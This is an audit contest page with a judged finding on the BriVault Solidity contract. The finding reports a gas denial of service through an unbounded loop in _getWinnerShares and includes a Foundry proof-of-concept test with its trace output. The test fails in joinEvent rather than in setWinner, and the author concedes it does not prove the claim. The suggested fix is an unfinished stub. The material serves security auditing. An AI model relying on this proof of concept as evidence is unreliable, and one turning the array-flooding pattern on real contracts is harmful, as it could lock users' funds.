BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Unbounded loop in _getWinnerShares can cause gas DoS

shashankwcw

The contract computes totalWinnerShares by looping over the full usersAddress array during finalization, rather than maintaining aggregated share totals as users join. Because this array can grow indefinitely and may contain duplicate entries, the loop becomes gas-heavy and inaccurate. As a result, setWinner() can fail due to gas exhaustion, preventing the event from being finalized. This blocks all user withdrawals and can also inflate or distort winner share calculations, leading to incorrect payout distribution.

Description

  • The contract should determine totalWinnerShares efficiently at finalization, using an accurate, constant-time calculation so the owner can always call setWinner() and winners can withdraw their correct share safely.

  • _getWinnerShares() loops over an ever-growing usersAddress array and accumulates values without resetting, causing gas-based DoS when setWinner() is called and incorrect share totals due to duplicate entries—leading to failed finalization and unfair or blocked withdrawals.

// Root cause in the codebase with @> marks to highlight the relevant section

Risk

Likelihood:

  • The issue occurs once many users join the event, causing the usersAddress array to grow large enough that _getWinnerShares() consumes excessive gas during setWinner().

  • Even if user's call cancelParticipation the function doesn't clear the array and on top of that one user can use joinEvent and can vote again and again.

Impact:

  • setWinner() fails due to gas exhaustion, preventing the event from finalizing and leaving all user funds locked in the contract.


Proof of Concept

  • Although The test coudn't prove this but it is possible. For reference you can check Ethernaut Level 9: King

  • This test proves that EVM Gas error is a real thing

function test_dos() public {
vm.startPrank(user1);
mockToken.approve(address(briVault), 20000 ether);
briVault.deposit(1000 ether, user1);
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(briVault), 20000 ether);
briVault.deposit(1000 ether, user2);
vm.stopPrank();
vm.startPrank(user3);
mockToken.approve(address(briVault), 20000 ether);
briVault.deposit(1000 ether, user3);
vm.stopPrank();
vm.startPrank(user4);
mockToken.approve(address(briVault), 20000 ether);
briVault.deposit(1000 ether, user4);
vm.stopPrank();
vm.startPrank(user5);
mockToken.approve(address(briVault), 20000 ether);
briVault.deposit(1000 ether, user5);
vm.stopPrank();
​
​
for(uint i = 0;i<8000;i++){
vm.startPrank(user1);
briVault.joinEvent(1);
vm.stopPrank();
vm.startPrank(user2);
briVault.joinEvent(3);
vm.stopPrank();
vm.startPrank(user3);
briVault.joinEvent(4);
vm.stopPrank();
vm.startPrank(user4);
briVault.joinEvent(5);
vm.stopPrank();
vm.startPrank(user5);
briVault.joinEvent(6);
vm.stopPrank();
}
​
vm.warp(eventEndDate + 1);
vm.prank(owner);
briVault.setWinner(5);
}
​
// Output
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(user5: [0x22068447936722AcB3481F41eE8a0B7125526D55])
│ └─ ← [Return]
├─ [27554] BriVault::joinEvent(6)
│ ├─ emit joinedEvent(user: user5: [0x22068447936722AcB3481F41eE8a0B7125526D55], _countryId: 6)
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ └─ ← [Return]
├─ [16385] BriVault::joinEvent(1)
│ └─ ← [OutOfGas] EvmError: OutOfGas
└─ ← [Revert] EvmError: Revert
​
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 8.80s (8.80s CPU time)
​
Ran 1 test suite in 12.70s (8.80s CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
​
Failing tests:
Encountered 1 failing test in test/briVault.t.sol:BriVaultTest
[FAIL: EvmError: Revert] test_dos() (gas: 1073720535)
​

Recommended Mitigation

  • The recommended mitigation can be that instead of use mapping to check which county get how much votes and fund

// Declare this mappiing
mapping(uint countryId => uint Deposit) countryFunds;
​
// Add this line in joinEvent()
countryFunds[countryId] += participantShares;
​
// Replace the entire code in _getWinnerShares function with these lines
​
function _getWinnerShares () internal returns (uint256) {
​
// lines to add all the deposits for the countries in a single variable and save it
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unbounded Loop in _getWinnerShares Causes Denial of Service

The _getWinnerShares() function is intended to iterate through all users and sum their shares for the winning country, returning the total.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!